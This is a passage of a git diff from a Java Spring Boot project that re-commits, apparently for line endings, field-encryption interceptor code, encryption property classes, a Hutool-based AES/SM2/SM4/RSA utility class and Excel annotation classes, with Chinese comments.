org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; +import org.dromara.common.encrypt.properties.EncryptorProperties; + +import java.lang.reflect.Field; +import java.sql.PreparedStatement; +import java.util.*; + +/** + * 入参加密拦截器 + * + * @author 老马 + * @version 4.6.0 + */ +@Slf4j +@Intercepts({@Signature( + type = ParameterHandler.class, + method = "setParameters", + args = {PreparedStatement.class}) +}) +@AllArgsConstructor +public class MybatisEncryptInterceptor implements Interceptor { + + private final EncryptorManager encryptorManager; + private final EncryptorProperties defaultProperties; + + @Override + public Object intercept(Invocation invocation) throws Throwable { + return invocation; + } + + @Override + public Object plugin(Object target) { + if (target instanceof ParameterHandler parameterHandler) { + // 进行加密操作 + Object parameterObject = parameterHandler.getParameterObject(); + if (ObjectUtil.isNotNull(parameterObject) && !(parameterObject instanceof String)) { + this.encryptHandler(parameterObject); + } + } + return target; + } + + /** + * 加密对象 + * + * @param sourceObject 待加密对象 + */ + private void encryptHandler(Object sourceObject) { + if (ObjectUtil.isNull(sourceObject)) { + return; + } + if (sourceObject instanceof Map map) { + new HashSet<>(map.values()).forEach(this::encryptHandler); + return; + } + if (sourceObject instanceof List list) { + if(CollUtil.isEmpty(list)) { + return; + } + // 判断第一个元素是否含有注解。如果没有直接返回,提高效率 + Object firstItem = list.get(0); + if (ObjectUtil.isNull(firstItem) || CollUtil.isEmpty(encryptorManager.getFieldCache(firstItem.getClass()))) { + return; + } + list.forEach(this::encryptHandler); + return; + } + // 不在缓存中的类,就是没有加密注解的类(当然也有可能是typeAliasesPackage写错) + Set fields = encryptorManager.getFieldCache(sourceObject.getClass()); + if(ObjectUtil.isNull(fields)){ + return; + } + try { + for (Field field : fields) { + field.set(sourceObject, this.encryptField(Convert.toStr(field.get(sourceObject)), field)); + } + } catch (Exception e) { + log.error("处理加密字段时出错", e); + } + } + + /** + * 字段值进行加密。通过字段的批注注册新的加密算法 + * + * @param value 待加密的值 + * @param field 待加密字段 + * @return 加密后结果 + */ + private String encryptField(String value, Field field) { + if (ObjectUtil.isNull(value)) { + return null; + } + EncryptField encryptField = field.getAnnotation(EncryptField.class); + EncryptContext encryptContext = new EncryptContext(); + encryptContext.setAlgorithm(encryptField.algorithm() == AlgorithmType.DEFAULT ? defaultProperties.getAlgorithm() : encryptField.algorithm()); + encryptContext.setEncode(encryptField.encode() == EncodeType.DEFAULT ? defaultProperties.getEncode() : encryptField.encode()); + encryptContext.setPassword(StringUtils.isBlank(encryptField.password()) ? defaultProperties.getPassword() : encryptField.password()); + encryptContext.setPrivateKey(StringUtils.isBlank(encryptField.privateKey()) ? defaultProperties.getPrivateKey() : encryptField.privateKey()); + encryptContext.setPublicKey(StringUtils.isBlank(encryptField.publicKey()) ? defaultProperties.getPublicKey() : encryptField.publicKey()); + return this.encryptorManager.encrypt(value, encryptContext); + } + + + @Override + public void setProperties(Properties properties) { + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/properties/ApiDecryptProperties.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/properties/ApiDecryptProperties.java index 6aadb3e..10bc568 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/properties/ApiDecryptProperties.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/properties/ApiDecryptProperties.java @@ -1,34 +1,34 @@ -package org.dromara.common.encrypt.properties; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; - -/** - * api解密属性配置类 - * @author wdhcr - */ -@Data -@ConfigurationProperties(prefix = "api-decrypt") -public class ApiDecryptProperties { - - /** - * 加密开关 - */ - private Boolean enabled; - - /** - * 头部标识 - */ - private String headerFlag; - - /** - * 响应加密公钥 - */ - private String publicKey; - - /** - * 请求解密私钥 - */ - private String privateKey; - -} +package org.dromara.common.encrypt.properties; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * api解密属性配置类 + * @author wdhcr + */ +@Data +@ConfigurationProperties(prefix = "api-decrypt") +public class ApiDecryptProperties { + + /** + * 加密开关 + */ + private Boolean enabled; + + /** + * 头部标识 + */ + private String headerFlag; + + /** + * 响应加密公钥 + */ + private String publicKey; + + /** + * 请求解密私钥 + */ + private String privateKey; + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/properties/EncryptorProperties.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/properties/EncryptorProperties.java index e9de900..47fbed3 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/properties/EncryptorProperties.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/properties/EncryptorProperties.java @@ -1,48 +1,48 @@ -package org.dromara.common.encrypt.properties; - -import lombok.Data; -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; -import org.springframework.boot.context.properties.ConfigurationProperties; - -/** - * 加解密属性配置类 - * - * @author 老马 - * @version 4.6.0 - */ -@Data -@ConfigurationProperties(prefix = "mybatis-encryptor") -public class EncryptorProperties { - - /** - * 过滤开关 - */ - private Boolean enable; - - /** - * 默认算法 - */ - private AlgorithmType algorithm; - - /** - * 安全秘钥 - */ - private String password; - - /** - * 公钥 - */ - private String publicKey; - - /** - * 私钥 - */ - private String privateKey; - - /** - * 编码方式,base64/hex - */ - private EncodeType encode; - -} +package org.dromara.common.encrypt.properties; + +import lombok.Data; +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * 加解密属性配置类 + * + * @author 老马 + * @version 4.6.0 + */ +@Data +@ConfigurationProperties(prefix = "mybatis-encryptor") +public class EncryptorProperties { + + /** + * 过滤开关 + */ + private Boolean enable; + + /** + * 默认算法 + */ + private AlgorithmType algorithm; + + /** + * 安全秘钥 + */ + private String password; + + /** + * 公钥 + */ + private String publicKey; + + /** + * 私钥 + */ + private String privateKey; + + /** + * 编码方式,base64/hex + */ + private EncodeType encode; + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/utils/EncryptUtils.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/utils/EncryptUtils.java index 2a096ee..fbb9452 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/utils/EncryptUtils.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/utils/EncryptUtils.java @@ -1,313 +1,313 @@ -package org.dromara.common.encrypt.utils; - -import cn.hutool.core.codec.Base64; -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.core.util.StrUtil; -import cn.hutool.crypto.SecureUtil; -import cn.hutool.crypto.SmUtil; -import cn.hutool.crypto.asymmetric.KeyType; -import cn.hutool.crypto.asymmetric.RSA; -import cn.hutool.crypto.asymmetric.SM2; - -import java.nio.charset.StandardCharsets; -import java.util.HashMap; -import java.util.Map; - -/** - * 安全相关工具类 - * - * @author 老马 - */ -public class EncryptUtils { - - /** - * 公钥 - */ - public static final String PUBLIC_KEY = "publicKey"; - - /** - * 私钥 - */ - public static final String PRIVATE_KEY = "privateKey"; - - /** - * Base64加密 - * - * @param data 待加密数据 - * @return 加密后字符串 - */ - public static String encryptByBase64(String data) { - return Base64.encode(data, StandardCharsets.UTF_8); - } - - /** - * Base64解密 - * - * @param data 待解密数据 - * @return 解密后字符串 - */ - public static String decryptByBase64(String data) { - return Base64.decodeStr(data, StandardCharsets.UTF_8); - } - - /** - * AES加密 - * - * @param data 待加密数据 - * @param password 秘钥字符串 - * @return 加密后字符串, 采用Base64编码 - */ - public static String encryptByAes(String data, String password) { - if (StrUtil.isBlank(password)) { - throw new IllegalArgumentException("AES需要传入秘钥信息"); - } - // aes算法的秘钥要求是16位、24位、32位 - int[] array = {16, 24, 32}; - if (!ArrayUtil.contains(array, password.length())) { - throw new IllegalArgumentException("AES秘钥长度要求为16位、24位、32位"); - } - return SecureUtil.aes(password.getBytes(StandardCharsets.UTF_8)).encryptBase64(data, StandardCharsets.UTF_8); - } - - /** - * AES加密 - * - * @param data 待加密数据 - * @param password 秘钥字符串 - * @return 加密后字符串, 采用Hex编码 - */ - public static String encryptByAesHex(String data, String password) { - if (StrUtil.isBlank(password)) { - throw new IllegalArgumentException("AES需要传入秘钥信息"); - } - // aes算法的秘钥要求是16位、24位、32位 - int[] array = {16, 24, 32}; - if (!ArrayUtil.contains(array, password.length())) { - throw new IllegalArgumentException("AES秘钥长度要求为16位、24位、32位"); - } - return SecureUtil.aes(password.getBytes(StandardCharsets.UTF_8)).encryptHex(data, StandardCharsets.UTF_8); - } - - /** - * AES解密 - * - * @param data 待解密数据 - * @param password 秘钥字符串 - * @return 解密后字符串 - */ - public static String decryptByAes(String data, String password) { - if (StrUtil.isBlank(password)) { - throw new IllegalArgumentException("AES需要传入秘钥信息"); - } - // aes算法的秘钥要求是16位、24位、32位 - int[] array = {16, 24, 32}; - if (!ArrayUtil.contains(array, password.length())) { - throw new IllegalArgumentException("AES秘钥长度要求为16位、24位、32位"); - } - return SecureUtil.aes(password.getBytes(StandardCharsets.UTF_8)).decryptStr(data, StandardCharsets.UTF_8); - } - - /** - * sm4加密 - * - * @param data 待加密数据 - * @param password 秘钥字符串 - * @return 加密后字符串, 采用Base64编码 - */ - public static String encryptBySm4(String data, String password) { - if (StrUtil.isBlank(password)) { - throw new IllegalArgumentException("SM4需要传入秘钥信息"); - } - // sm4算法的秘钥要求是16位长度 - int sm4PasswordLength = 16; - if (sm4PasswordLength != password.length()) { - throw new IllegalArgumentException("SM4秘钥长度要求为16位"); - } - return SmUtil.sm4(password.getBytes(StandardCharsets.UTF_8)).encryptBase64(data, StandardCharsets.UTF_8); - } - - /** - * sm4加密 - * - * @param data 待加密数据 - * @param password 秘钥字符串 - * @return 加密后字符串, 采用Base64编码 - */ - public static String encryptBySm4Hex(String data, String password) { - if (StrUtil.isBlank(password)) { - throw new IllegalArgumentException("SM4需要传入秘钥信息"); - } - // sm4算法的秘钥要求是16位长度 - int sm4PasswordLength = 16; - if (sm4PasswordLength != password.length()) { - throw new IllegalArgumentException("SM4秘钥长度要求为16位"); - } - return SmUtil.sm4(password.getBytes(StandardCharsets.UTF_8)).encryptHex(data, StandardCharsets.UTF_8); - } - - /** - * sm4解密 - * - * @param data 待解密数据 - * @param password 秘钥字符串 - * @return 解密后字符串 - */ - public static String decryptBySm4(String data, String password) { - if (StrUtil.isBlank(password)) { - throw new IllegalArgumentException("SM4需要传入秘钥信息"); - } - // sm4算法的秘钥要求是16位长度 - int sm4PasswordLength = 16; - if (sm4PasswordLength != password.length()) { - throw new IllegalArgumentException("SM4秘钥长度要求为16位"); - } - return SmUtil.sm4(password.getBytes(StandardCharsets.UTF_8)).decryptStr(data, StandardCharsets.UTF_8); - } - - /** - * 产生sm2加解密需要的公钥和私钥 - * - * @return 公私钥Map - */ - public static Map generateSm2Key() { - Map keyMap = new HashMap<>(2); - SM2 sm2 = SmUtil.sm2(); - keyMap.put(PRIVATE_KEY, sm2.getPrivateKeyBase64()); - keyMap.put(PUBLIC_KEY, sm2.getPublicKeyBase64()); - return keyMap; - } - - /** - * sm2公钥加密 - * - * @param data 待加密数据 - * @param publicKey 公钥 - * @return 加密后字符串, 采用Base64编码 - */ - public static String encryptBySm2(String data, String publicKey) { - if (StrUtil.isBlank(publicKey)) { - throw new IllegalArgumentException("SM2需要传入公钥进行加密"); - } - SM2 sm2 = SmUtil.sm2(null, publicKey); - return sm2.encryptBase64(data, StandardCharsets.UTF_8, KeyType.PublicKey); - } - - /** - * sm2公钥加密 - * - * @param data 待加密数据 - * @param publicKey 公钥 - * @return 加密后字符串, 采用Hex编码 - */ - public static String encryptBySm2Hex(String data, String publicKey) { - if (StrUtil.isBlank(publicKey)) { - throw new IllegalArgumentException("SM2需要传入公钥进行加密"); - } - SM2 sm2 = SmUtil.sm2(null, publicKey); - return sm2.encryptHex(data, StandardCharsets.UTF_8, KeyType.PublicKey); - } - - /** - * sm2私钥解密 - * - * @param data 待解密数据 - * @param privateKey 私钥 - * @return 解密后字符串 - */ - public static String decryptBySm2(String data, String privateKey) { - if (StrUtil.isBlank(privateKey)) { - throw new IllegalArgumentException("SM2需要传入私钥进行解密"); - } - SM2 sm2 = SmUtil.sm2(privateKey, null); - return sm2.decryptStr(data, KeyType.PrivateKey, StandardCharsets.UTF_8); - } - - /** - * 产生RSA加解密需要的公钥和私钥 - * - * @return 公私钥Map - */ - public static Map generateRsaKey() { - Map keyMap = new HashMap<>(2); - RSA rsa = SecureUtil.rsa(); - keyMap.put(PRIVATE_KEY, rsa.getPrivateKeyBase64()); - keyMap.put(PUBLIC_KEY, rsa.getPublicKeyBase64()); - return keyMap; - } - - /** - * rsa公钥加密 - * - * @param data 待加密数据 - * @param publicKey 公钥 - * @return 加密后字符串, 采用Base64编码 - */ - public static String encryptByRsa(String data, String publicKey) { - if (StrUtil.isBlank(publicKey)) { - throw new IllegalArgumentException("RSA需要传入公钥进行加密"); - } - RSA rsa = SecureUtil.rsa(null, publicKey); - return rsa.encryptBase64(data, StandardCharsets.UTF_8, KeyType.PublicKey); - } - - /** - * rsa公钥加密 - * - * @param data 待加密数据 - * @param publicKey 公钥 - * @return 加密后字符串, 采用Hex编码 - */ - public static String encryptByRsaHex(String data, String publicKey) { - if (StrUtil.isBlank(publicKey)) { - throw new IllegalArgumentException("RSA需要传入公钥进行加密"); - } - RSA rsa = SecureUtil.rsa(null, publicKey); - return rsa.encryptHex(data, StandardCharsets.UTF_8, KeyType.PublicKey); - } - - /** - * rsa私钥解密 - * - * @param data 待解密数据 - * @param privateKey 私钥 - * @return 解密后字符串 - */ - public static String decryptByRsa(String data, String privateKey) { - if (StrUtil.isBlank(privateKey)) { - throw new IllegalArgumentException("RSA需要传入私钥进行解密"); - } - RSA rsa = SecureUtil.rsa(privateKey, null); - return rsa.decryptStr(data, KeyType.PrivateKey, StandardCharsets.UTF_8); - } - - /** - * md5加密 - * - * @param data 待加密数据 - * @return 加密后字符串, 采用Hex编码 - */ - public static String encryptByMd5(String data) { - return SecureUtil.md5(data); - } - - /** - * sha256加密 - * - * @param data 待加密数据 - * @return 加密后字符串, 采用Hex编码 - */ - public static String encryptBySha256(String data) { - return SecureUtil.sha256(data); - } - - /** - * sm3加密 - * - * @param data 待加密数据 - * @return 加密后字符串, 采用Hex编码 - */ - public static String encryptBySm3(String data) { - return SmUtil.sm3(data); - } - -} +package org.dromara.common.encrypt.utils; + +import cn.hutool.core.codec.Base64; +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.StrUtil; +import cn.hutool.crypto.SecureUtil; +import cn.hutool.crypto.SmUtil; +import cn.hutool.crypto.asymmetric.KeyType; +import cn.hutool.crypto.asymmetric.RSA; +import cn.hutool.crypto.asymmetric.SM2; + +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; + +/** + * 安全相关工具类 + * + * @author 老马 + */ +public class EncryptUtils { + + /** + * 公钥 + */ + public static final String PUBLIC_KEY = "publicKey"; + + /** + * 私钥 + */ + public static final String PRIVATE_KEY = "privateKey"; + + /** + * Base64加密 + * + * @param data 待加密数据 + * @return 加密后字符串 + */ + public static String encryptByBase64(String data) { + return Base64.encode(data, StandardCharsets.UTF_8); + } + + /** + * Base64解密 + * + * @param data 待解密数据 + * @return 解密后字符串 + */ + public static String decryptByBase64(String data) { + return Base64.decodeStr(data, StandardCharsets.UTF_8); + } + + /** + * AES加密 + * + * @param data 待加密数据 + * @param password 秘钥字符串 + * @return 加密后字符串, 采用Base64编码 + */ + public static String encryptByAes(String data, String password) { + if (StrUtil.isBlank(password)) { + throw new IllegalArgumentException("AES需要传入秘钥信息"); + } + // aes算法的秘钥要求是16位、24位、32位 + int[] array = {16, 24, 32}; + if (!ArrayUtil.contains(array, password.length())) { + throw new IllegalArgumentException("AES秘钥长度要求为16位、24位、32位"); + } + return SecureUtil.aes(password.getBytes(StandardCharsets.UTF_8)).encryptBase64(data, StandardCharsets.UTF_8); + } + + /** + * AES加密 + * + * @param data 待加密数据 + * @param password 秘钥字符串 + * @return 加密后字符串, 采用Hex编码 + */ + public static String encryptByAesHex(String data, String password) { + if (StrUtil.isBlank(password)) { + throw new IllegalArgumentException("AES需要传入秘钥信息"); + } + // aes算法的秘钥要求是16位、24位、32位 + int[] array = {16, 24, 32}; + if (!ArrayUtil.contains(array, password.length())) { + throw new IllegalArgumentException("AES秘钥长度要求为16位、24位、32位"); + } + return SecureUtil.aes(password.getBytes(StandardCharsets.UTF_8)).encryptHex(data, StandardCharsets.UTF_8); + } + + /** + * AES解密 + * + * @param data 待解密数据 + * @param password 秘钥字符串 + * @return 解密后字符串 + */ + public static String decryptByAes(String data, String password) { + if (StrUtil.isBlank(password)) { + throw new IllegalArgumentException("AES需要传入秘钥信息"); + } + // aes算法的秘钥要求是16位、24位、32位 + int[] array = {16, 24, 32}; + if (!ArrayUtil.contains(array, password.length())) { + throw new IllegalArgumentException("AES秘钥长度要求为16位、24位、32位"); + } + return SecureUtil.aes(password.getBytes(StandardCharsets.UTF_8)).decryptStr(data, StandardCharsets.UTF_8); + } + + /** + * sm4加密 + * + * @param data 待加密数据 + * @param password 秘钥字符串 + * @return 加密后字符串, 采用Base64编码 + */ + public static String encryptBySm4(String data, String password) { + if (StrUtil.isBlank(password)) { + throw new IllegalArgumentException("SM4需要传入秘钥信息"); + } + // sm4算法的秘钥要求是16位长度 + int sm4PasswordLength = 16; + if (sm4PasswordLength != password.length()) { + throw new IllegalArgumentException("SM4秘钥长度要求为16位"); + } + return SmUtil.sm4(password.getBytes(StandardCharsets.UTF_8)).encryptBase64(data, StandardCharsets.UTF_8); + } + + /** + * sm4加密 + * + * @param data 待加密数据 + * @param password 秘钥字符串 + * @return 加密后字符串, 采用Base64编码 + */ + public static String encryptBySm4Hex(String data, String password) { + if (StrUtil.isBlank(password)) { + throw new IllegalArgumentException("SM4需要传入秘钥信息"); + } + // sm4算法的秘钥要求是16位长度 + int sm4PasswordLength = 16; + if (sm4PasswordLength != password.length()) { + throw new IllegalArgumentException("SM4秘钥长度要求为16位"); + } + return SmUtil.sm4(password.getBytes(StandardCharsets.UTF_8)).encryptHex(data, StandardCharsets.UTF_8); + } + + /** + * sm4解密 + * + * @param data 待解密数据 + * @param password 秘钥字符串 + * @return 解密后字符串 + */ + public static String decryptBySm4(String data, String password) { + if (StrUtil.isBlank(password)) { + throw new IllegalArgumentException("SM4需要传入秘钥信息"); + } + // sm4算法的秘钥要求是16位长度 + int sm4PasswordLength = 16; + if (sm4PasswordLength != password.length()) { + throw new IllegalArgumentException("SM4秘钥长度要求为16位"); + } + return SmUtil.sm4(password.getBytes(StandardCharsets.UTF_8)).decryptStr(data, StandardCharsets.UTF_8); + } + + /** + * 产生sm2加解密需要的公钥和私钥 + * + * @return 公私钥Map + */ + public static Map generateSm2Key() { + Map keyMap = new HashMap<>(2); + SM2 sm2 = SmUtil.sm2(); + keyMap.put(PRIVATE_KEY, sm2.getPrivateKeyBase64()); + keyMap.put(PUBLIC_KEY, sm2.getPublicKeyBase64()); + return keyMap; + } + + /** + * sm2公钥加密 + * + * @param data 待加密数据 + * @param publicKey 公钥 + * @return 加密后字符串, 采用Base64编码 + */ + public static String encryptBySm2(String data, String publicKey) { + if (StrUtil.isBlank(publicKey)) { + throw new IllegalArgumentException("SM2需要传入公钥进行加密"); + } + SM2 sm2 = SmUtil.sm2(null, publicKey); + return sm2.encryptBase64(data, StandardCharsets.UTF_8, KeyType.PublicKey); + } + + /** + * sm2公钥加密 + * + * @param data 待加密数据 + * @param publicKey 公钥 + * @return 加密后字符串, 采用Hex编码 + */ + public static String encryptBySm2Hex(String data, String publicKey) { + if (StrUtil.isBlank(publicKey)) { + throw new IllegalArgumentException("SM2需要传入公钥进行加密"); + } + SM2 sm2 = SmUtil.sm2(null, publicKey); + return sm2.encryptHex(data, StandardCharsets.UTF_8, KeyType.PublicKey); + } + + /** + * sm2私钥解密 + * + * @param data 待解密数据 + * @param privateKey 私钥 + * @return 解密后字符串 + */ + public static String decryptBySm2(String data, String privateKey) { + if (StrUtil.isBlank(privateKey)) { + throw new IllegalArgumentException("SM2需要传入私钥进行解密"); + } + SM2 sm2 = SmUtil.sm2(privateKey, null); + return sm2.decryptStr(data, KeyType.PrivateKey, StandardCharsets.UTF_8); + } + + /** + * 产生RSA加解密需要的公钥和私钥 + * + * @return 公私钥Map + */ + public static Map generateRsaKey() { + Map keyMap = new HashMap<>(2); + RSA rsa = SecureUtil.rsa(); + keyMap.put(PRIVATE_KEY, rsa.getPrivateKeyBase64()); + keyMap.put(PUBLIC_KEY, rsa.getPublicKeyBase64()); + return keyMap; + } + + /** + * rsa公钥加密 + * + * @param data 待加密数据 + * @param publicKey 公钥 + * @return 加密后字符串, 采用Base64编码 + */ + public static String encryptByRsa(String data, String publicKey) { + if (StrUtil.isBlank(publicKey)) { + throw new IllegalArgumentException("RSA需要传入公钥进行加密"); + } + RSA rsa = SecureUtil.rsa(null, publicKey); + return rsa.encryptBase64(data, StandardCharsets.UTF_8, KeyType.PublicKey); + } + + /** + * rsa公钥加密 + * + * @param data 待加密数据 + * @param publicKey 公钥 + * @return 加密后字符串, 采用Hex编码 + */ + public static String encryptByRsaHex(String data, String publicKey) { + if (StrUtil.isBlank(publicKey)) { + throw new IllegalArgumentException("RSA需要传入公钥进行加密"); + } + RSA rsa = SecureUtil.rsa(null, publicKey); + return rsa.encryptHex(data, StandardCharsets.UTF_8, KeyType.PublicKey); + } + + /** + * rsa私钥解密 + * + * @param data 待解密数据 + * @param privateKey 私钥 + * @return 解密后字符串 + */ + public static String decryptByRsa(String data, String privateKey) { + if (StrUtil.isBlank(privateKey)) { + throw new IllegalArgumentException("RSA需要传入私钥进行解密"); + } + RSA rsa = SecureUtil.rsa(privateKey, null); + return rsa.decryptStr(data, KeyType.PrivateKey, StandardCharsets.UTF_8); + } + + /** + * md5加密 + * + * @param data 待加密数据 + * @return 加密后字符串, 采用Hex编码 + */ + public static String encryptByMd5(String data) { + return SecureUtil.md5(data); + } + + /** + * sha256加密 + * + * @param data 待加密数据 + * @return 加密后字符串, 采用Hex编码 + */ + public static String encryptBySha256(String data) { + return SecureUtil.sha256(data); + } + + /** + * sm3加密 + * + * @param data 待加密数据 + * @return 加密后字符串, 采用Hex编码 + */ + public static String encryptBySm3(String data) { + return SmUtil.sm3(data); + } + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-encrypt/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 132cf29..52ed246 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1,3 +1,3 @@ -org.dromara.common.encrypt.config.EncryptorAutoConfiguration -org.dromara.common.encrypt.config.ApiDecryptAutoConfiguration - +org.dromara.common.encrypt.config.EncryptorAutoConfiguration +org.dromara.common.encrypt.config.ApiDecryptAutoConfiguration + diff --git a/ruoyi-common/ruoyi-common-excel/pom.xml b/ruoyi-common/ruoyi-common-excel/pom.xml index dd4a5ee..15a8e74 100644 --- a/ruoyi-common/ruoyi-common-excel/pom.xml +++ b/ruoyi-common/ruoyi-common-excel/pom.xml @@ -1,30 +1,30 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-excel - - - ruoyi-common-excel - - - - - org.dromara - ruoyi-common-json - - - - com.alibaba - easyexcel - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-excel + + + ruoyi-common-excel + + + + + org.dromara + ruoyi-common-json + + + + com.alibaba + easyexcel + + + + diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/CellMerge.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/CellMerge.java index 6b9211b..875ecd1 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/CellMerge.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/CellMerge.java @@ -1,29 +1,29 @@ -package org.dromara.common.excel.annotation; - -import org.dromara.common.excel.core.CellMergeStrategy; - -import java.lang.annotation.*; - -/** - * excel 列单元格合并(合并列相同项) - * - * 需搭配 {@link CellMergeStrategy} 策略使用 - * - * @author Lion Li - */ -@Target(ElementType.FIELD) -@Retention(RetentionPolicy.RUNTIME) -@Inherited -public @interface CellMerge { - - /** - * col index - */ - int index() default -1; - - /** - * 合并需要依赖的其他字段名称 - */ - String[] mergeBy() default {}; - -} +package org.dromara.common.excel.annotation; + +import org.dromara.common.excel.core.CellMergeStrategy; + +import java.lang.annotation.*; + +/** + * excel 列单元格合并(合并列相同项) + * + * 需搭配 {@link CellMergeStrategy} 策略使用 + * + * @author Lion Li + */ +@Target(ElementType.FIELD) +@Retention(RetentionPolicy.RUNTIME) +@Inherited +public @interface CellMerge { + + /** + * col index + */ + int index() default -1; + + /** + * 合并需要依赖的其他字段名称 + */ + String[] mergeBy() default {}; + +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/ExcelDictFormat.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/ExcelDictFormat.java index 5c51842..f2556fb 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/ExcelDictFormat.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/ExcelDictFormat.java @@ -1,32 +1,32 @@ -package org.dromara.common.excel.annotation; - -import org.dromara.common.core.utils.StringUtils; - -import java.lang.annotation.*; - -/** - * 字典格式化 - * - * @author Lion Li - */ -@Target({ElementType.FIELD}) -@Retention(RetentionPolicy.RUNTIME) -@Inherited -public @interface ExcelDictFormat { - - /** - * 如果是字典类型,请设置字典的type值 (如: sys_user_sex) - */ - String dictType() default ""; - - /** - * 读取内容转表达式 (如: 0=男,1=女,2=未知) - */ - String readConverterExp() default ""; - - /** - * 分隔符,读取字符串组内容 - */ - String separator() default StringUtils.SEPARATOR; - -} +package org.dromara.common.excel.annotation; + +import org.dromara.common.core.utils.StringUtils; + +import java.lang.annotation.*; + +/** + * 字典格式化 + * + * @author Lion Li + */ +@Target({ElementType.FIELD}) +@Retention(RetentionPolicy.RUNTIME) +@Inherited +public @interface ExcelDictFormat { + + /** + * 如果是字典类型,请设置字典的type值 (如: sys_user_sex) + */ + String dictType() default ""; + + /** + * 读取内容转表达式 (如: 0=男,1=女,2=未知) + */ + String readConverterExp() default ""; + + /** + * 分隔符,读取字符串组内容 + */ + String separator() default StringUtils.SEPARATOR; + +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/ExcelEnumFormat.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/ExcelEnumFormat.java index 290379d..9fbbc8c 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/ExcelEnumFormat.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/annotation/ExcelEnumFormat.java @@ -1,30 +1,30 @@ -package org.dromara.common.excel.annotation; - -import java.lang.annotation.*; - -/** - * 枚举格式化 - * - * @author Liang - */ -@Target({ElementType.FIELD}) -@Retention(RetentionPolicy.RUNTIME) -@Inherited -public @interface ExcelEnumFormat { - - /** - * 字典枚举类型 - */ - Class> enumClass(); - - /** - * 字典枚举类中对应的code属性名称,默认为code - */ - String codeField() default "code"; - - /** - * 字典枚举类中对应的text属性名称,默认为text - */ - String textField() default "text"; - -} +package org.dromara.common.excel.annotation; + +import java.lang.annotation.*; + +/** + * 枚举格式化 + * + * @author Liang + */ +@Target({ElementType.FIELD}) +@Retention(RetentionPolicy.RUNTIME) +@Inherited +public @interface ExcelEnumFormat { + + /** + * 字典枚举类型 + */ + Class> enumClass(); + + /** + * 字典枚举类中对应的code属性名称,默认为code + */ + String codeField() default "code"; + + /** + * 字典枚举类中对应的text属性名称,默认为text + */ + String textField() default "text"; + +} diff --git a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelBigNumberConvert.java b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelBigNumberConvert.java index 07cc4c4..03fff37 100644 --- a/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelBigNumberConvert.java +++ b/ruoyi-common/ruoyi-common-excel/src/main/java/org/dromara/common/excel/convert/ExcelBigNumberConvert.java @@ -1,52 +1,52 @@ -package org.dromara.common.excel.convert; - -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import com.alibaba.excel.converters.Converter; -import com.alibaba.excel.enums.CellDataTypeEnum; -import com.alibaba.excel.metadata.GlobalConfiguration; -import com.alibaba.excel.metadata.data.ReadCellData; -import com.alibaba.excel.metadata.data.WriteCellData; -import com.alibaba.excel.metadata.property.ExcelContentProperty; -import lombok.extern.slf4j.Slf4j; - -import java.math.BigDecimal; - -/** - * 大数值转换 - * Excel 数值长度位15位 大于15位的数值转换位字符串 - 